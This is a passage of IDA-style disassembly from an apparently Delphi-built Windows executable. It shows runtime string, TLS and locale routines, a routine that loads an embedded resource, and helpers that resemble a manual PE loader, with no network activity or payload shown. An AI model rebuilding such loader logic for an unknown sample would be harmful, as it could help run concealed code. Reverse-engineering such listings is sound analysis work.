sub_403628 proc near ; CODE XREF: sub_4042A4+130p
; sub_4042A4+153p
push edx
mov edx, esp
mov ecx, 1
call sub_4035DC
pop edx
retn
sub_403628 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403638 proc near ; CODE XREF: CODE:00404B31p
; CODE:00404B58p ...
xor ecx, ecx
test edx, edx
jz short loc_40365F
push edx
loc_40363F: ; CODE XREF: sub_403638+1Dj
cmp cl, [edx]
jz short loc_40365A
cmp cl, [edx+1]
jz short loc_403659
cmp cl, [edx+2]
jz short loc_403658
cmp cl, [edx+3]
jz short loc_403657
add edx, 4
jmp short loc_40363F
; ---------------------------------------------------------------------------
loc_403657: ; CODE XREF: sub_403638+18j
inc edx
loc_403658: ; CODE XREF: sub_403638+13j
inc edx
loc_403659: ; CODE XREF: sub_403638+Ej
inc edx
loc_40365A: ; CODE XREF: sub_403638+9j
mov ecx, edx
pop edx
sub ecx, edx
loc_40365F: ; CODE XREF: sub_403638+4j
jmp sub_4035DC
sub_403638 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403668 proc near ; CODE XREF: sub_403A1C+36p
; CODE:00404DBDp
push edi
push eax
push ecx
mov edi, edx
xor eax, eax
repne scasb
jnz short loc_403675
not ecx
loc_403675: ; CODE XREF: sub_403668+9j
pop eax
add ecx, eax
pop eax
pop edi
jmp sub_4035DC
sub_403668 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_403680 proc near ; CODE XREF: sub_4042A4+48p
; sub_4042A4+93p ...
test eax, eax
jz short locret_403687
mov eax, [eax-4]
locret_403687: ; CODE XREF: sub_403680+2j
retn
sub_403680 endp
; =============== S U B R O U T I N E =======================================
sub_403688 proc near ; CODE XREF: sub_4042A4+13Bp
; sub_4042A4+15Ep
test edx, edx
jz short locret_4036CB
mov ecx, [eax]
test ecx, ecx
jz sub_40356C
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, [ecx-4]
mov edx, [esi-4]
add edx, edi
cmp esi, ecx
jz short loc_4036C0
call sub_403734
mov eax, esi
mov ecx, [esi-4]
loc_4036B3: ; CODE XREF: sub_403688+41j
mov edx, [ebx]
add edx, edi
call sub_4028E0
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4036C0: ; CODE XREF: sub_403688+1Fj
call sub_403734
mov eax, [ebx]
mov ecx, edi
jmp short loc_4036B3
; ---------------------------------------------------------------------------
locret_4036CB: ; CODE XREF: sub_403688+2j
retn
sub_403688 endp
; =============== S U B R O U T I N E =======================================
sub_4036CC proc near ; CODE XREF: sub_403E54+14p
; sub_4042A4+20p ...
test eax, eax
jz short locret_4036DA
mov edx, [eax-8]
inc edx
jle short locret_4036DA
lock inc dword ptr [eax-8]
locret_4036DA: ; CODE XREF: sub_4036CC+2j
; sub_4036CC+8j
retn
sub_4036CC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4036DC proc near ; CODE XREF: sub_403E54+82p
; CODE:00404779p ...
test eax, eax
jz short loc_4036E2
retn
; ---------------------------------------------------------------------------
byte_4036E1 db 0 ; DATA XREF: sub_4036DC:loc_4036E2o
; ---------------------------------------------------------------------------
loc_4036E2: ; CODE XREF: sub_4036DC+2j
mov eax, offset byte_4036E1
retn
sub_4036DC endp
; =============== S U B R O U T I N E =======================================
sub_4036E8 proc near ; CODE XREF: sub_40372Cj
mov edx, [eax]
test edx, edx
jz short loc_403726
mov ecx, [edx-8]
dec ecx
jz short loc_403726
push ebx
mov ebx, eax
mov eax, [edx-4]
call sub_4035B0
mov edx, eax
mov eax, [ebx]
mov [ebx], edx
push eax
mov ecx, [eax-4]
call sub_4028E0
pop eax
mov ecx, [eax-8]
dec ecx
jl short loc_403723
lock dec dword ptr [eax-8]
jnz short loc_403723
lea eax, [eax-8]
call sub_4027FC
loc_403723: ; CODE XREF: sub_4036E8+2Bj
; sub_4036E8+31j
mov edx, [ebx]
pop ebx
loc_403726: ; CODE XREF: sub_4036E8+4j
; sub_4036E8+Aj
mov eax, edx
retn
sub_4036E8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40372C proc near ; CODE XREF: CODE:00404D6Cp
; CODE:00404E33p
jmp sub_4036E8
sub_40372C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403734 proc near ; CODE XREF: sub_402920+B3p
; sub_403688+21p ...
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
xor edi, edi
test edx, edx
jle short loc_403789
mov eax, [ebx]
test eax, eax
jz short loc_40376A
cmp dword ptr [eax-8], 1
jnz short loc_40376A
sub eax, 8
add edx, 9
push eax
mov eax, esp
call sub_40281C
pop eax
add eax, 8
mov [ebx], eax
mov [eax-4], esi
mov byte ptr [esi+eax], 0
jmp short loc_403792
; ---------------------------------------------------------------------------
loc_40376A: ; CODE XREF: sub_403734+11j
; sub_403734+17j
mov eax, edx
call sub_4035B0
mov edi, eax
mov eax, [ebx]
test eax, eax
jz short loc_403789
mov edx, edi
mov ecx, [eax-4]
cmp ecx, esi
jl short loc_403784
mov ecx, esi
loc_403784: ; CODE XREF: sub_403734+4Cj
call sub_4028E0
loc_403789: ; CODE XREF: sub_403734+Bj
; sub_403734+43j
mov eax, ebx
call sub_403518
mov [ebx], edi
loc_403792: ; CODE XREF: sub_403734+34j
pop edi
pop esi
pop ebx
retn
sub_403734 endp
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_4037A0
loc_403798: ; CODE XREF: sub_4037A0+Ej
; sub_40386C+12j
mov al, 1
jmp sub_4028C4
; END OF FUNCTION CHUNK FOR sub_4037A0
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_4037A0 proc near ; CODE XREF: sub_4038DC+12p
; FUNCTION CHUNK AT 00403798 SIZE 00000007 BYTES
test eax, eax
jz short locret_4037B4
push eax
push 0
call sub_401090
test eax, eax
jz loc_403798
locret_4037B4: ; CODE XREF: sub_4037A0+2j
retn
sub_4037A0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4037B8 proc near ; CODE XREF: sub_4038DC+3Ep
xchg edx, [eax]
test edx, edx
jz short locret_4037C4
push edx
call sub_401098
locret_4037C4: ; CODE XREF: sub_4037B8+4j
retn
sub_4037B8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4037C8 proc near ; CODE XREF: sub_4037E0+1Bp
; sub_40386C+2j ...
mov edx, [eax]
test edx, edx
jz short locret_4037DC
mov dword ptr [eax], 0
push eax
push edx
call sub_401098
pop eax
locret_4037DC: ; CODE XREF: sub_4037C8+4j
retn
sub_4037C8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4037E0 proc near ; CODE XREF: sub_403890:loc_4038B7j
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFF004h
push eax
add esp, 0FFFFFFFCh
mov esi, ecx
mov [esp+1014h+var_1014], edx
mov edi, eax
test esi, esi
jg short loc_403802
mov eax, edi
call sub_4037C8
jmp short loc_40385F
; ---------------------------------------------------------------------------
loc_403802: ; CODE XREF: sub_4037E0+17j
lea ebp, [esi+1]
cmp ebp, 7FFh
jge short loc_403835
push esi
lea eax, [esp+1018h+var_1010]
mov ecx, [esp+1018h+var_1014]
mov edx, 7FFh
call sub_40360C
mov ebx, eax
test ebx, ebx
jle short loc_403835
lea edx, [esp+1014h+var_1010]
mov eax, edi
mov ecx, ebx
call sub_40386C
jmp short loc_40385F
; ---------------------------------------------------------------------------
loc_403835: ; CODE XREF: sub_4037E0+2Bj
; sub_4037E0+44j
mov ebx, ebp
mov eax, edi
mov edx, ebx
call sub_4038DC
push esi
mov eax, [edi]
mov ecx, [esp+1018h+var_1014]
mov edx, ebx
call sub_40360C
mov ebx, eax
test ebx, ebx
jge short loc_403856
xor ebx, ebx
loc_403856: ; CODE XREF: sub_4037E0+72j
mov eax, edi
mov edx, ebx
call sub_4038DC
loc_40385F: ; CODE XREF: sub_4037E0+20j
; sub_4037E0+53j
add esp, 1004h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4037E0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40386C proc near ; CODE XREF: sub_4037E0+4Ep
test ecx, ecx
jz sub_4037C8
push eax
push ecx
push edx
call sub_401090
test eax, eax
jz loc_403798
pop edx
push dword ptr [edx]
mov [edx], eax
call sub_401098
retn
sub_40386C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_403890 proc near ; CODE XREF: CODE:0040479Fp
xor ecx, ecx
test edx, edx
jz short loc_4038B7
push edx
loc_403897: ; CODE XREF: sub_403890+1Dj
cmp cl, [edx]
jz short loc_4038B2
cmp cl, [edx+1]
jz short loc_4038B1
cmp cl, [edx+2]
jz short loc_4038B0
cmp cl, [edx+3]
jz short loc_4038AF
add edx, 4
jmp short loc_403897
; ---------------------------------------------------------------------------
loc_4038AF: ; CODE XREF: sub_403890+18j
inc edx
loc_4038B0: ; CODE XREF: sub_403890+13j
inc edx
loc_4038B1: ; CODE XREF: sub_403890+Ej
inc edx
loc_4038B2: ; CODE XREF: sub_403890+9j
mov ecx, edx
pop edx
sub ecx, edx
loc_4038B7: ; CODE XREF: sub_403890+4j
jmp sub_4037E0
sub_403890 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4038C0 proc near ; CODE XREF: CODE:004047A7p
test eax, eax
jz short loc_4038C8
retn
; ---------------------------------------------------------------------------
align 2
word_4038C6 dw 0 ; DATA XREF: sub_4038C0:loc_4038C8o
; ---------------------------------------------------------------------------
loc_4038C8: ; CODE XREF: sub_4038C0+2j
mov eax, offset word_4038C6
retn
sub_4038C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4038D0 proc near ; CODE XREF: sub_4038DC+1Cp
test eax, eax
jz short locret_4038D9
mov eax, [eax-4]
shr eax, 1
locret_4038D9: ; CODE XREF: sub_4038D0+2j
retn
sub_4038D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4038DC proc near ; CODE XREF: sub_4037E0+5Bp
; sub_4037E0+7Ap
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov ebx, edx
mov esi, eax
xor eax, eax
mov [esp+0Ch+var_C], eax
test ebx, ebx
jle short loc_403915
mov eax, ebx
call sub_4037A0
mov [esp+0Ch+var_C], eax
mov eax, [esi]
call sub_4038D0
test eax, eax
jle short loc_403915
cmp ebx, eax
jge short loc_403907
mov eax, ebx
loc_403907: ; CODE XREF: sub_4038DC+27j
mov ecx, eax
add ecx, ecx
mov edx, [esp+0Ch+var_C]
mov eax, [esi]
call sub_4028E0
loc_403915: ; CODE XREF: sub_4038DC+Ej
; sub_4038DC+23j
mov eax, esi
mov edx, [esp+0Ch+var_C]
call sub_4037B8
pop edx
pop esi
pop ebx
retn
sub_4038DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403924 proc near ; DATA XREF: sub_403AE4+2Fo
; BSS:off_407000o
mov al, 11h
jmp sub_4028C4
sub_403924 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40392C proc near ; CODE XREF: sub_403998+1Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, ds:dword_406024
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_40397F
loc_403946: ; CODE XREF: sub_40392C+51j
xor eax, eax
push ebp
push offset loc_403967
push dword ptr fs:[eax]
mov fs:[eax], esp
mov ebx, [ebp+var_8]
mov eax, [ebp+var_4]
call dword ptr [ebx+4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_403971
; ---------------------------------------------------------------------------
loc_403967: ; DATA XREF: sub_40392C+1Do
jmp loc_402E60
; ---------------------------------------------------------------------------
call sub_403018
loc_403971: ; CODE XREF: sub_40392C+39j
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_403946
loc_40397F: ; CODE XREF: sub_40392C+18j
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_40392C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403988 proc near ; CODE XREF: sub_403C88+5p
mov edx, ds:dword_406020
mov [eax], edx
mov ds:dword_406020, eax
retn
sub_403988 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403998 proc near ; CODE XREF: sub_403420+76p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_403A11
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
mov eax, [eax+4]
call sub_40392C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_403A18
loc_4039C7: ; CODE XREF: sub_403998+7Ej
mov eax, [ebp+var_4]
cmp eax, ds:dword_406020
jnz short loc_4039DE
mov eax, [ebp+var_4]
mov eax, [eax]
mov ds:dword_406020, eax
jmp short loc_403A10
; ---------------------------------------------------------------------------
loc_4039DE: ; CODE XREF: sub_403998+38j
mov eax, ds:dword_406020
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_403A10
loc_4039EC: ; CODE XREF: sub_403998+76j
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, [ebp+var_4]
jnz short loc_403A02
mov eax, [ebp+var_4]
mov eax, [eax]
mov edx, [ebp+var_8]
mov [edx], eax
jmp short loc_403A10
; ---------------------------------------------------------------------------
loc_403A02: ; CODE XREF: sub_403998+5Cj
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4039EC
loc_403A10: ; CODE XREF: sub_403998+44j
; sub_403998+52j ...
retn
; ---------------------------------------------------------------------------
loc_403A11: ; DATA XREF: sub_403998+Co
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_4039C7
; ---------------------------------------------------------------------------
loc_403A18: ; CODE XREF: sub_403998:loc_403A10j
; DATA XREF: sub_403998+2Ao
pop ecx
pop ecx
pop ebp
retn
sub_403998 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A1C proc near ; CODE XREF: sub_403AE4+ADp
; sub_403AE4+BEp
var_10 = dword ptr -10h
var_B = byte ptr -0Bh
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
xor edx, edx
mov [ebp+var_10], edx
xor edx, edx
push ebp
push offset loc_403A82
push dword ptr fs:[edx]
mov fs:[edx], esp
push 7
lea edx, [ebp+var_B]
push edx
push 1004h
push eax
call sub_401050 ; GetLocaleInfoA
lea eax, [ebp+var_10]
lea edx, [ebp+var_B]
mov ecx, 7
call sub_403668
mov eax, [ebp+var_10]
lea edx, [ebp+var_4]
call sub_402B88
mov ebx, eax
cmp [ebp+var_4], 0
jz short loc_403A6C
xor ebx, ebx
loc_403A6C: ; CODE XREF: sub_403A1C+4Cj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_403A89
loc_403A79: ; CODE XREF: sub_403A1C+6Bj
lea eax, [ebp+var_10]
call sub_403518
retn
; ---------------------------------------------------------------------------
loc_403A82: ; DATA XREF: sub_403A1C+Fo
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_403A79
; ---------------------------------------------------------------------------
loc_403A89: ; CODE XREF: sub_403A1C+65j
; DATA XREF: sub_403A1C+58o
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn
sub_403A1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A90 proc near ; DATA XREF: CODE:004045A0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_403ADA
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4075A4
jnz short loc_403ACC
mov eax, offset dword_407038
call sub_402AF4
mov eax, offset dword_407204
call sub_402AF4
mov eax, offset dword_4073D0
call sub_402AF4
call sub_4019F4
loc_403ACC: ; CODE XREF: sub_403A90+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_403AE1
loc_403AD9: ; CODE XREF: sub_403A90+4Fj
retn
; ---------------------------------------------------------------------------
loc_403ADA: ; DATA XREF: sub_403A90+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_403AD9
; ---------------------------------------------------------------------------
loc_403AE1: ; CODE XREF: sub_403A90:loc_403AD9j
; DATA XREF: sub_403A90+44o
pop ebp
retn
sub_403A90 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403AE4 proc near ; DATA XREF: CODE:0040459Co
sub ds:dword_4075A4, 1
jnb locret_403BB6
mov ds:byte_40600C, 2
mov ds:off_407010, offset sub_401008
mov ds:off_407014, offset sub_401010
mov ds:byte_407036, 2
mov ds:off_407000, offset sub_403924
call sub_402C64
test al, al
jz short loc_403B2B
call sub_402C94
loc_403B2B: ; CODE XREF: sub_403AE4+40j
call sub_402D58
mov ds:word_40703C, 0D7B0h
mov ds:word_407208, 0D7B0h
mov ds:word_4073D4, 0D7B0h
call sub_401048 ; GetCommandLineA
mov ds:dword_40702C, eax
call sub_4010B0
mov ds:dword_407028, eax
call sub_4010A8 ; GetVersion
and eax, 80000000h
cmp eax, 80000000h
jz short loc_403B9D
call sub_4010A8 ; GetVersion
and eax, 0FFh
cmp ax, 4
jbe short loc_403B8C
mov ds:dword_4075A8, 3
jmp short loc_403BAC
; ---------------------------------------------------------------------------
loc_403B8C: ; CODE XREF: sub_403AE4+9Aj
call sub_401068 ; GetThreadLocale
call sub_403A1C
mov ds:dword_4075A8, eax
jmp short loc_403BAC
; ---------------------------------------------------------------------------
loc_403B9D: ; CODE XREF: sub_403AE4+8Aj
call sub_401068 ; GetThreadLocale
call sub_403A1C
mov ds:dword_4075A8, eax
loc_403BAC: ; CODE XREF: sub_403AE4+A6j
; sub_403AE4+B7j
call sub_4010A0 ; GetCurrentThreadId
mov ds:dword_407020, eax
locret_403BB6: ; CODE XREF: sub_403AE4+7j
retn
sub_403AE4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_403BB8 proc near ; CODE XREF: sub_403C94+Cp
jmp ds:dword_408138
sub_403BB8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_403BC0 proc near ; CODE XREF: sub_403BD8+7p
jmp ds:dword_408134
sub_403BC0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_403BC8 proc near ; CODE XREF: sub_403C48+25p
; sub_403C48+36p
jmp ds:dword_408130
sub_403BC8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_403BD0 proc near ; CODE XREF: sub_403BF8+46p
jmp ds:dword_40812C
sub_403BD0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403BD8 proc near ; CODE XREF: sub_403BF8+22p
var_8 = dword ptr -8
push ebx
push ecx
mov ebx, eax
push ebx
push 40h
call sub_403BC0 ; LocalAlloc
mov [esp+8+var_8], eax
mov eax, [esp+8+var_8]
pop edx
pop ebx
retn
sub_403BD8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_403BF0 proc near ; CODE XREF: sub_403BF8+2p
mov eax, 8
retn
sub_403BF0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403BF8 proc near ; CODE XREF: sub_403C48:loc_403C62p
var_8 = dword ptr -8
push ebx
push ecx
call sub_403BF0
mov ebx, eax
test ebx, ebx
jz short loc_403C43
cmp ds:TlsIndex, 0FFFFFFFFh
jnz short loc_403C18
mov eax, 0E2h
call sub_40350C
; ---------------------------------------------------------------------------
loc_403C18: ; CODE XREF: sub_403BF8+14j
mov eax, ebx
call sub_403BD8
mov [esp+8+var_8], eax
cmp [esp+8+var_8], 0
jnz short loc_403C34
mov eax, 0E2h
call sub_40350C
; ---------------------------------------------------------------------------
jmp short loc_403C43
; ---------------------------------------------------------------------------
loc_403C34: ; CODE XREF: sub_403BF8+2Ej
mov eax, [esp+8+var_8]
push eax
mov eax, ds:TlsIndex
push eax
call sub_403BD0 ; TlsSetValue
loc_403C43: ; CODE XREF: sub_403BF8+Bj
; sub_403BF8+3Aj
pop edx
pop ebx
retn
sub_403BF8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403C48 proc near ; CODE XREF: sub_402878+20p
; sub_4028D0+3p ...
mov cl, ds:byte_40764C
mov eax, ds:TlsIndex
test cl, cl
jnz short loc_403C7D
mov edx, large fs:2Ch
mov eax, [edx+eax*4]
retn
; ---------------------------------------------------------------------------
loc_403C62: ; CODE XREF: sub_403C48+3Dj
call sub_403BF8
mov eax, ds:TlsIndex
push eax
call sub_403BC8 ; TlsGetValue
test eax, eax
jz short loc_403C77
retn
; ---------------------------------------------------------------------------
loc_403C77: ; CODE XREF: sub_403C48+2Cj
mov eax, ds:dword_407658
retn
; ---------------------------------------------------------------------------
loc_403C7D: ; CODE XREF: sub_403C48+Dj
push eax
call sub_403BC8 ; TlsGetValue
test eax, eax
jz short loc_403C62
retn
sub_403C48 endp
; =============== S U B R O U T I N E =======================================
sub_403C88 proc near ; CODE XREF: sub_403C94+2Ep
mov eax, offset dword_40608C
call sub_403988
retn
sub_403C88 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403C94 proc near ; CODE XREF: CODE:0040460Bp
push ebx
mov ebx, eax
xor eax, eax
mov ds:TlsIndex, eax
push 0
call sub_403BB8 ; GetModuleHandleA
mov ds:dword_407650, eax
mov eax, ds:dword_407650
mov ds:dword_406090, eax
xor eax, eax
mov ds:dword_406094, eax
xor eax, eax
mov ds:dword_406098, eax
call sub_403C88
mov edx, offset dword_40608C
mov eax, ebx
call sub_4032C8
pop ebx
retn
sub_403C94 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403CD8 proc near ; DATA XREF: CODE:00404598o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_403CFD
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_407654
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_403D04
loc_403CFC: ; CODE XREF: sub_403CD8+2Aj
retn
; ---------------------------------------------------------------------------
loc_403CFD: ; DATA XREF: sub_403CD8+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_403CFC
; ---------------------------------------------------------------------------
loc_403D04: ; CODE XREF: sub_403CD8:loc_403CFCj
; DATA XREF: sub_403CD8+1Fo
pop ebp
retn
sub_403CD8 endp
; ---------------------------------------------------------------------------
align 4
loc_403D08: ; DATA XREF: CODE:off_404594o
sub ds:dword_407654, 1
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403D10 proc near ; DATA XREF: CODE:004045A8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_403D35
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_40765C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_403D3C
loc_403D34: ; CODE XREF: sub_403D10+2Aj
retn
; ---------------------------------------------------------------------------
loc_403D35: ; DATA XREF: sub_403D10+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_403D34
; ---------------------------------------------------------------------------
loc_403D3C: ; CODE XREF: sub_403D10:loc_403D34j
; DATA XREF: sub_403D10+1Fo
pop ebp
retn
sub_403D10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_403D40 proc near ; DATA XREF: CODE:004045A4o
sub ds:dword_40765C, 1
retn
sub_403D40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_403D48 proc near ; CODE XREF: CODE:00404CDCp
jmp ds:dword_408148
sub_403D48 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_403D50 proc near ; CODE XREF: sub_403E54+79p
jmp ds:dword_408144
sub_403D50 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_403D58 proc near ; CODE XREF: CODE:004047D0p
; CODE:004047F3p ...
jmp ds:dword_408140
sub_403D58 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403D60 proc near ; DATA XREF: CODE:004045B0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_403D85
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_407660
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_403D8C
loc_403D84: ; CODE XREF: sub_403D60+2Aj
retn
; ---------------------------------------------------------------------------
loc_403D85: ; DATA XREF: sub_403D60+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_403D84
; ---------------------------------------------------------------------------
loc_403D8C: ; CODE XREF: sub_403D60:loc_403D84j
; DATA XREF: sub_403D60+1Fo
pop ebp
retn
sub_403D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_403D90 proc near ; DATA XREF: CODE:004045ACo
sub ds:dword_407660, 1
retn
sub_403D90 endp
; =============== S U B R O U T I N E =======================================
sub_403D98 proc near ; CODE XREF: CODE:00404D1Dp
; CODE:00404D4Dp
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov esi, eax
push 0Ah
push edx
mov eax, ds:dword_407650
push eax
call ds:dword_407664 ; FindResourceA
mov ebx, eax
push ebx
mov eax, ds:dword_407650
push eax
call ds:dword_407668 ; SizeofResource
mov [esi], eax
push ebx
mov eax, ds:dword_407650
push eax
call ds:dword_40766C ; LoadResource
mov ebx, eax
push ebx
call ds:dword_407670 ; SetHandleCount
mov [esp+0Ch+var_C], eax
cmp [esp+0Ch+var_C], 0
jz short loc_403DE3
push ebx
call ds:dword_407674 ; FreeResource
loc_403DE3: ; CODE XREF: sub_403D98+42j
mov eax, [esp+0Ch+var_C]
pop edx
pop esi
pop ebx
retn
sub_403D98 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DEC proc near ; DATA XREF: CODE:004045B8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_403E11
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4076B0
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_403E18
loc_403E10: ; CODE XREF: sub_403DEC+2Aj
retn
; ---------------------------------------------------------------------------
loc_403E11: ; DATA XREF: sub_403DEC+6o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_403E10
; ---------------------------------------------------------------------------
loc_403E18: ; CODE XREF: sub_403DEC:loc_403E10j
; DATA XREF: sub_403DEC+1Fo
pop ebp
retn
sub_403DEC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403E1C proc near ; DATA XREF: CODE:004045B4o
sub ds:dword_4076B0, 1
retn
sub_403E1C endp
; =============== S U B R O U T I N E =======================================
sub_403E24 proc near ; CODE XREF: sub_403E54+253p
add edx, eax
mov eax, edx
retn
sub_403E24 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403E2C proc near ; CODE XREF: sub_403E54+10Fp
push edx
push eax
mov eax, ds:off_4060D8
mov eax, [eax]
call eax
retn
sub_403E2C endp
; =============== S U B R O U T I N E =======================================
sub_403E38 proc near ; CODE XREF: sub_403E54+18Ep
var_4 = dword ptr -4
push ecx
movzx edx, dx
add edx, eax
mov [esp+4+var_4], edx
mov eax, [esp+4+var_4]
pop edx
retn
sub_403E38 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_403E48 proc near ; CODE XREF: sub_403E54+1EAp
shr eax, 1Dh
mov eax, ds:dword_4060A4[eax*4]
retn
sub_403E48 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E54 proc near ; CODE XREF: CODE:00404E7Cp
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_1B4 = dword ptr -1B4h
var_1B0 = dword ptr -1B0h
var_14C = dword ptr -14Ch
var_A8 = dword ptr -0A8h
var_9C = dword ptr -9Ch
var_80 = dword ptr -80h
var_50 = word ptr -50h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1D = byte ptr -1Dh
